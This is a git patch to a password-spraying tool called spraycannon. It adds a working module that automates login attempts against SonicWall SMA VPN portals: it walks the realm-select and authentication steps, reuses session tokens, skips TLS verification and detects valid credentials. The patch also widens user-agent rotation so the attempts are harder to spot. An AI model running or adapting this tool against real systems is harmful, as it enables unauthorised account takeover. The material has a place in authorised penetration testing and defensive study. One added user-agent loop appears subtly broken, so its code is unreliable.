From 2555d99d936816495fc70593ad614f3b42224c97 Mon Sep 17 00:00:00 2001 From: CausticKirbyZ Date: Tue, 14 Mar 2023 16:18:05 -0500 Subject: [PATCH] updated to add sonicwall sma and updated version --- src/helpers/VERSION.cr | 2 +- src/spray_types/adfs_forms.cr | 7 +-- src/spray_types/sonicwall_sma.cr | 87 ++++++++++++++++++++++++++++++++ src/spraycannon.cr | 22 ++++---- 4 files changed, 103 insertions(+), 15 deletions(-) create mode 100644 src/spray_types/sonicwall_sma.cr diff --git a/src/helpers/VERSION.cr b/src/helpers/VERSION.cr index 2fbf3f7..d97a607 100644 --- a/src/helpers/VERSION.cr +++ b/src/helpers/VERSION.cr @@ -1 +1 @@ -VERSION = "1.2.1" \ No newline at end of file +VERSION = "1.2.2" \ No newline at end of file diff --git a/src/spray_types/adfs_forms.cr b/src/spray_types/adfs_forms.cr index 5a33082..2df09b7 100644 --- a/src/spray_types/adfs_forms.cr +++ b/src/spray_types/adfs_forms.cr @@ -37,7 +37,7 @@ class ADFS_forms < Sprayer # some basic setups for web based auth - url = URI.parse "#{@target}#{path}" + url = URI.parse "#{@target}" #gotta set no verify for tls pages context = OpenSSL::SSL::Context::Client.new context.verify_mode = OpenSSL::SSL::VerifyMode::NONE @@ -52,14 +52,15 @@ class ADFS_forms < Sprayer "Accept-Encoding" => "gzip, deflate", "Content-Type" => "application/x-www-form-urlencoded", } - + if @domain.nil? form = "UserName=#{URI.encode_www_form(username)}&Password=#{ URI.encode_www_form(password) }&AuthMethod=FormsAuthentication" else form = "UserName=#{URI.encode_www_form(@domain.not_nil!)}%5C#{URI.encode_www_form(username)}&Password=#{ URI.encode_www_form(password) }&AuthMethod=FormsAuthentication" end - # here is the basic + # here is the basic auth post req + # the url.path.strip is for added support page = client.post("#{"/#{url.path.strip("/")}" if url.path != "" }#{path}", headers: header, form: form) if page.status_code == 302 diff --git a/src/spray_types/sonicwall_sma.cr b/src/spray_types/sonicwall_sma.cr new file mode 100644 index 0000000..af3b762 --- /dev/null +++ b/src/spray_types/sonicwall_sma.cr @@ -0,0 +1,87 @@ +require "http/client" + +class Sonicwall_SMA < Sprayer + + ## only uncomment if needed + # def initialize(usernames : Array(String), password : Array(String)) + # # init any special or default variables here + # super() + # end + + # returns an array of [username, password, valid, lockout, mfa] + def spray(username : String, password : String) : SprayStatus + spstatus = SprayStatus.new() + spstatus.username = username + spstatus.password = password + + # + # YOUR CODE BELOW + # + + # some basic setups for web based auth + url = URI.parse @target + #gotta set no verify for tls pages + context = OpenSSL::SSL::Context::Client.new + context.verify_mode = OpenSSL::SSL::VerifyMode::NONE + # create a http client + client = HTTP::Client.new(url, tls: context) + # and some basic header options + header = HTTP::Headers{ # basic template for headers for post/get request + "User-Agent" => @useragents[rand(0..(@useragents.size - 1))], # uses a random header theres only 1 by default + "Accept" => "*/*", + "Cookie" => "EPC_MI=%26activeX%3A0%26win%3A1%26win32%3A1%26win64%3A1%26x64%3A1%26platform%3AWindows%26winnt%3A1%26win10%3A1%26moz%3A109.0%26fx%3A109.0%26browser%3ANetscape%26browserVersion%3A109.0%26jsVersion%3A1.5%26height%3A1080%26width%3A1920%26userAgent%3Amozilla%252F5.0%2520(windows%2520nt%252010.0%253B%2520win64%253B%2520x64%253B%2520rv%253A109.0)%2520gecko%252F20100101%2520firefox%252F110.0%26userLocale%3Aen-US", + "Accept-Language" => "en-US,en;q=0.5", + "Accept-Encoding" => "gzip, deflate", + "Content-Type" => "application/x-www-form-urlencoded", + "Origin" => "https://#{url.host}" + } + + form = "realmID=144&realmButton=+Next+%3E+&alias=workplace&resource=%2Fworkplace%2Faccess%2Fhome" # request form params here + + + # Make the basic request for the "id" in the first web request + # puts "making first request".colorize(:red) + page = client.post("/__extraweb__realmselect", headers: header, form: form) # client supporst all http verbs as client.verb -> client.get, client.delete..etc + token_id = URI.parse(page.headers["Location"]).as(URI).query_params["id"] + cookies = HTTP::Cookies.from_server_headers page.headers + extraweb_state = cookies["EXTRAWEB_STATE"] + # pp page + + + + ## now make the "authorize" check button + form = "acceptButton=+Accept+&id=#{ URI.encode_www_form token_id }&alias=workplace&resource=%252Fworkplace%252Faccess%252Fhome&method=forms&realm=144" + header["EXTRAWEB_REFERER"] = "%252Fworkplace%252Faccess%252Fhome" + # puts "Requesting mid page".colorize(:red) + page = client.post("/__extraweb__authen", headers: header, form: form) + # pp page + # for some reason you have to request this one twice.... i think its due to needing the "id" token to be used before it allows to be submitted for authentication + # puts "Requesting mid page #2".colorize(:red) + page = client.post("/__extraweb__authen", headers: header, form: form) + # pp page + + # now we handle the actual sign in request! :) + form = "data_0=#{URI.encode_www_form username }&data_1=#{ URI.encode_www_form password }&okButton=+Log+in+&id=#{ URI.encode_www_form token_id }&alias=workplace&resource=%252Fworkplace%252Faccess%252Fhome&method=forms&realm=144" + header["EXTRAWEB_REFERER"] = "%252F__extraweb__authen" + header["Referer"] = "https://#{url.host}/__extraweb__authen" + # puts "Making final auth login request".colorize(:red) + page = client.post("/__extraweb__authen", headers: header, form: form) + # pp page + + # + # logic for if valid login goes here replace whats here. it only serves as a guide for quick editing + + if page.body.includes? "The credentials provided were invalid" + else + spstatus.valid_credentials = true + end + + + # + # end of your CODE make sure you set valid lockedout and mfa + # + + # return the SprayStatus object + return spstatus + end +end \ No newline at end of file diff --git a/src/spraycannon.cr b/src/spraycannon.cr index cf6a2c8..c45f611 100755 --- a/src/spraycannon.cr +++ b/src/spraycannon.cr @@ -194,7 +194,7 @@ parser = OptionParser.new() do |opts| end opts.on("--list-spraytypes","List the available spraytypes.") do - ["msol (o365)", "Okta", "ExchangeEAS","ExchangeOWA","cisco_vpn","ADFS_forms","vpn_sonicwall_virtualoffice","vpn_sonicwall_virtualoffice_5x","vpn_sonicwall_digest","vpn_fortinet","spiceworks","InfinateCampus","global_protect","ESXI_web", "VMWare_Horizon"].each {|t| puts t} + ["msol (o365)", "Okta", "ExchangeEAS","ExchangeOWA","cisco_vpn","ADFS_forms","vpn_sonicwall_virtualoffice","vpn_sonicwall_virtualoffice_5x","vpn_sonicwall_digest","sonicwall_sma","vpn_fortinet","spiceworks","InfinateCampus","global_protect","ESXI_web", "VMWare_Horizon"].each {|t| puts t} exit 0 end @@ -220,20 +220,17 @@ else rescue ex : OptionParser::MissingOption if ex.message && ex.message.as(String).includes? "--useragent" STDERR.puts "Using random useragents" - options["useragents"] = [ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0", + options["useragents"] = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36", "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 10; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36", "Mozilla/5.0 (iPad; CPU OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/100.0.4896.56 Mobile/15E148 Safari/604.1", - - ] + ] + # now add a bunch of firefox useragents + [90..120].each do |i| + options["useragents"].as(Array(String)) << "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:#{i}.0) Gecko/20100101 Firefox/#{i}.0" + end + end # exit 1 # rescue KeyError @@ -353,6 +350,9 @@ when "vpn_sonicwall_virtualoffice" when "vpn_sonicwall_virtualoffice_5.x" s = Sonicwall_VirtualOffice_5x.new(options["usernames"].as(Array(String)),options["passwords"].as(Array(String))) + +when "sonicwall_sma" + s = Sonicwall_SMA.new(options["usernames"].as(Array(String)),options["passwords"].as(Array(String))) when "exchangeeas", "exchange_eas" s = ExchageEAS.new(options["usernames"].as(Array(String)),options["passwords"].as(Array(String)))